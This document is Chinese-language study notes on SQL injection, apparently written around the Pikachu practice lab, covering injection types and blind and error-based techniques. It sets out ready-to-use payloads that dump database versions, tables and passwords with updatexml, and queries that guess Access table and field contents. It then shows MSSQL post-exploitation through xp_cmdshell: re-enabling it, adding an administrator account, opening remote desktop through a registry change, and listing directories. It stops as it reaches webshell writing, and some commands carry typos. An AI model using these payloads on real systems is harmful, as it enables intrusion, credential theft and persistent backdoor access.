1.1、自己描述一下sql注入原理
SQL注入指web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒有判斷,攻擊者可以在web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾上添加額外的SQL語句,以此來實現(xiàn)欺騙數(shù)據(jù)庫服務(wù)器執(zhí)行非授權(quán)的任意查詢,從而進一步得到相應(yīng)的數(shù)據(jù)信息。
1.2、注入分為那幾類
1.數(shù)字型注入
2.字符型注入
3.搜索型注入: select * from 表名 where 字段名 like '%對應(yīng)值%' or 1=1;
4.xx型注入 : select * from 表名 where 字段=('xx') or 1=1;
1.3、注入提交方式
get 提交
pos提交
cookie提交
1.4、注入攻擊類型
1.union注入、
2.insert/update注入、
3.delete注入、
4.http header注入
先在pikachu平臺打開Http Header注入模塊,點擊提示查看登錄帳號和密碼,登陸后去BurpSuite中找到登陸地GET請求,把請求發(fā)送到Repeater模塊中。在進行注入。

5.盲注:
盲注,即在SQL注入過程中,SQL語句執(zhí)行選擇后,選擇的數(shù)據(jù)不能回顯到前端,我們需要使用一些特殊的方法進行判斷或嘗試,這個過程稱為盲注
(1)布爾盲注
在命令行輸入語句select ascii(substr(database(),1,1))>xx;通過對比ascii碼的長度,判斷出數(shù)據(jù)庫表名的第一個字符。
注:substr()函數(shù)
substr(string,start,length)
string(必需)規(guī)定要返回其中一部分的字符串。start(必需)規(guī)定在字符串的何處開始。length(可選)規(guī)定被返回字符串的長度。
(2)時間盲注
如果猜測真確,那么就會響應(yīng)延遲幾秒,如果錯誤會立刻返回錯誤。輸入命令
**
vince' and if(substr(database(),1,1)='p',sleep(10),null)#**
(3)報錯盲注
6.cookie注入

7.函數(shù)報錯注入(updatexml,extractvalue,floor):
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數(shù):XPath_string (Xpath格式的字符串) ,
第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
eg:'or updatexml(1,concat(0x7e,(命令)),0) or'
1、爆數(shù)據(jù)庫版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆數(shù)據(jù)庫當(dāng)前用戶
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆數(shù)據(jù)庫
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4.爆表
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
5、爆字段
獲取字段名,輸入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段內(nèi)容
獲取字段內(nèi)容,輸入:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
8.寬字節(jié)注入、

9.二次注入、
10.偏移注入:
只針對access數(shù)據(jù)庫,在只爆出表名,沒有查出字段名的前提下使用。
11.information_schema 注入等
2、通過注入獲取access帳號與密碼
1.判斷網(wǎng)站所用的數(shù)據(jù)庫是access還是mssql。
Access存在系統(tǒng)表[msysobjects]
sqlserver存在系統(tǒng)表sysobjects
使用命令(待考證):
and( select count() from sysobjects) >0 mssql 數(shù)據(jù)庫 **
and( select count() from msysobjects) >0 access 數(shù)據(jù)庫
或者
and user >0 ;
觀察報錯,sqlserver報錯是將nvarchar值'****'轉(zhuǎn)換為數(shù)據(jù)類型為int的列時發(fā)生語法錯誤。
access報錯是Microsoft OLE DB Provider Drivers ODBC Drivers 錯誤 ‘80040e21’
ODBC 驅(qū)動程序不支持所需的屬性。
2.爆數(shù)據(jù)表名
使用命令:
and exists(select * from 數(shù)據(jù)庫表名 )
或者
and (select count(*) from 數(shù)據(jù)庫表名 )>=0
·如果不存在此數(shù)據(jù)庫,報錯。
例子
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)
3.猜測字段數(shù)目
利用order by猜解字段數(shù)目,查詢語句如下。
order by n,返回錯誤頁面,則字段數(shù)目是n-1.
4.猜測字段名
and exists(select 字段名 from 數(shù)據(jù)庫表名 )
或者
and (select count(字段名) from 數(shù)據(jù)庫表名 )>=0
如果存在此字段名,返回頁面正常,否則可更換字段名繼續(xù)進行猜測
5.猜測字段內(nèi)容長度
and (select top 1 len(user_name) from administrator)>1//正常
報錯則說明此字段長度為n.
6.猜測字段內(nèi)容
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常頁面
說明ASCII值大于0 ,字段值應(yīng)該為字母,如果是小于0那么說明是漢字,
and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回錯誤頁面
說明administrator表中的user_name字段的第一位ASCII值為97
3、完成mssql sa dbowner權(quán)限獲取系統(tǒng)權(quán)限或webshell
1.判斷是否是mssql數(shù)據(jù)庫
and exists (select * from sysobjects)
頁面返回正常,則說明為MsSQL
2.根據(jù)返回信息判斷
and @@version>0
可以得到數(shù)據(jù)庫版本信息。如果頁面出錯,但未返回可利用的信息,則說明MsSQL關(guān)閉了錯誤信息提示,在猜解數(shù)據(jù)庫內(nèi)容時,就不能用爆庫的方法了,只能使用union select聯(lián)合查詢或盲注入攻擊方法。
and user>O //獲取當(dāng)前數(shù)據(jù)庫用戶名
and db_name>0 //獲取當(dāng)前數(shù)據(jù)庫名稱
3.判斷注入點權(quán)限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))
如果上面的第一條查詢返回正常頁面,則說明當(dāng)前數(shù)據(jù)庫用戶具有sa權(quán)限,可直接利用擴展存儲進行攻擊。
sa權(quán)限判斷
1.檢測與恢復(fù)擴展存儲
(1)檢測xp_cmdshell擴展存儲過程是否被刪除
and 1=(Select count() FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
檢測xp_regread擴展存儲過程是否被刪除
and 1=(Select count() FROM master. dbo.sysobjects Where name = 'xp_regread')
(2).恢復(fù)擴展存儲
:exec sp_configure 'show advanced options ',1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
常用的擴展存儲:
xp_cmdshell—利用此存儲過程可以直接執(zhí)行系統(tǒng)命令。
xp_regread—利用此存儲過程可以進行注冊表讀取。
xp_regwrit一利用此存儲過程可以寫入注冊表。
xp_dirtre一利用此存儲過程可以進行列目錄操作。
xp_enumds—利用此存儲過程可以進行ODBC連接。
xp_loginconfig-利用此存儲過程可以配置服務(wù)器安全模式信息。
xp_makecab一一利用此存儲過程可以創(chuàng)建壓縮卷。
xp_ntsec_enumdomains-利用此存儲過程可以查看domain信息。
xp_terminate_jroces一利用此存儲過程可以查看終端進程,給出一個進程PID.
2.添加管理員賬號:
;exec master..xp_cmdshell 'net user test/add'
exec master..xp_cmdshell 'net locaigroup administrators test/add'
3.開啟3389遠程連接端口,
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允許外部連接
dbowner權(quán)限
1.找出網(wǎng)站路徑:
使用命令:
(1). ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
該語句可創(chuàng)建一個臨時表,一共4個字段,前三個字段用于存放執(zhí)行存儲過程xp_dirtree返回的結(jié)果,ID字段則方便查詢指定內(nèi)容。
(2);insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
利用xp_dirtree擴展查詢,將指定目錄的文件和文件夾名稱插入到臨時表中,這里查詢的是C盤目錄路徑。
(3). and (select dir from temp where id=1)>0
語句是查詢臨時表中的內(nèi)容,也就是指定的目錄文件和文件夾名
2.寫入一句話木馬獲取webshell